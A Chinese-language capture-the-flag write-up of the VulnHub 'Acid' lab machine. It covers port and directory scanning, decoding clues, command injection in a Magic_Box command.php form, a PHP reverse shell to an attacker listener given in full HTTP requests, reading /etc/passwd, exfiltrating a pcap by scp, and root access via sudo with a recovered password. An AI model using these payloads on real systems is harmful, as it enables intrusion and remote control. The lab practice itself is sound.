Vulnhub_Acid_wp

发布时间 2023-07-02 22:54:08作者: 夜梓月

前言

靶机下载地址:https://download.vulnhub.com/acid/Acid.rar

靶机探测

nmap -sn 192.168.20.0/24
image
192.168.20.146是新出现得ip所以为靶机ip

详细信息扫描

nmap -A -p- 192.168.20.146
image

漏洞扫描

nmap

nmap -p 33447 --script=vuln 192.168.20.146
image

nikto

nikto -h 192.168.20.146:33447
image

漏洞扫描没有任何收获

web信息收集

先访问web页面
image
英文得意思为使用钥匙打开魔法之门
查看网页源码
image
发现16进制

解码

0x643239334c6d70775a773d3d
image
转换后发现为base64编码
d293LmpwZw==
image
解码后发现为文件名
wow.jpg
访问该文件名
image
可以发现无法访问

dirb

dirb http://192.168.20.146:33447

image

这里可以看到有images文件名,后跟wow.jpg查看文件
image
可以看到图片了,显示成功看来钥匙就在图片之中,将图片保存在本地
image
asccii码转换16进制
37:61:65:65:30:66:36:64:35:38:38:65:64:39:39:30:35:65:65:33:37:66:31:36:61:37:63:36:31:30:64:34
转换后结果
7aee0f6d588ed9905ee37f16a7c610d4
为md5解密为
image
63425
这个应该就是key

dirsearch

dirsearch -u http://192.168.20.146:33447/
image

gobuster

gobuster dir -u http://192.168.20.146:33447/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt
这里使用了小字典
image
可以发现多了一个目录,加上这个目录继续扫描
gobuster dir -u http://192.168.20.146:33447/Challenge -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt
image

image
访问目录可以发现为登录框
不过不知道账号密码,所以暂且放下
换个大号字典继续爆破
image
换回dirsearch继续扫描
image
image
挨个访问查看一下
image
image
image
这里可以看到用户邮箱,尝试弱口令和之前拿到得key登录
image
尝试无果
image
访问
image
发现没有东西
访问include.php
image
发现需要登录才可访问
查看wp,发现有目录修改字典文件,重新扫描
image
访问该文件
image
发现提示新的目录,继续扫描
image
访问
image

很眼熟得rce

Rce漏洞

点击查看payload
POST /Challenge/Magic_Box/command.php HTTP/1.1

Host: 192.168.20.146:33447

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://192.168.20.146:33447/Challenge/Magic_Box/command.php

Content-Type: application/x-www-form-urlencoded

Content-Length: 33

Origin: http://192.168.20.146:33447

Connection: close

Cookie: sec_session_id=eceq094uhhv2jvjpfa9gb3fq34

Upgrade-Insecure-Requests: 1

Pragma: no-cache

Cache-Control: no-cache



IP=127.0.0.1;whoami&submit=submit

image

image

反弹shell

kali开启nc监听
nc -lvvp 1234
通过php反弹shell
php -r '$sock=fsockopen("192.168.20.135",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
将上述命令进行url编码,使用burpsuite发包
image

点击查看payload
POST /Challenge/Magic_Box/command.php HTTP/1.1

Host: 192.168.20.146:33447

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://192.168.20.146:33447/Challenge/Magic_Box/command.php

Content-Type: application/x-www-form-urlencoded

Content-Length: 55

Origin: http://192.168.20.146:33447

Connection: close

Cookie: sec_session_id=eceq094uhhv2jvjpfa9gb3fq34

Upgrade-Insecure-Requests: 1

Pragma: no-cache

Cache-Control: no-cache



IP=127.0.0.1;php%20-r%20%27%24sock%3Dfsockopen%28%22192.168.20.135%22%2C1234%29%3Bexec%28%22/bin/sh%20-i%20%3C%263%20%3E%263%202%3E%263%22%29%3B%27&submit=submit
![image](https://img2023.cnblogs.com/blog/2830174/202307/2830174-20230702222229336-2137241061.png)

可以发现没有问题
提高一下shell交互性
export TERM=xterm-color
image

发现可以完成清屏

python -c "import pty;pty.spawn('/bin/bash')"
让shell完整一点
image

提权

sudo -l
查看当前用户可以执行那些命令
image
看来此方法不行

查看/etc/passwd文件
image
image
在/etc/passwd 处查看到三个可以关注的用户分别是: root、saman、acid
分别查看3个用户下面得文件
find / -user acid 2>/dev/null
在acid这个用户中
image
发现hint
kali开启ssh,使用scp传送流量包
开启ssh命令
service ssh start
image

scp传输命令
scp hint.pcapng kali@192.168.20.135:/home/kali/Desktop

image
image
传输完成
过滤TCP流量,追踪流量发现用户名和密码
image
用户名:saman
密码:1337hax0r
切换用户到saman
image
执行sudo -l查看
image
sudo提权
sudo su root
image
image
可以发现没有问题
查看flag
image

点击查看flag
cat /root/flag.txt


Dear Hax0r,


You have successfully completed the challenge.

I  hope you like it.


FLAG NAME: "Acid@Makke@Hax0r"


Kind & Best Regards

-ACID
facebook: https://facebook.com/m.avinash143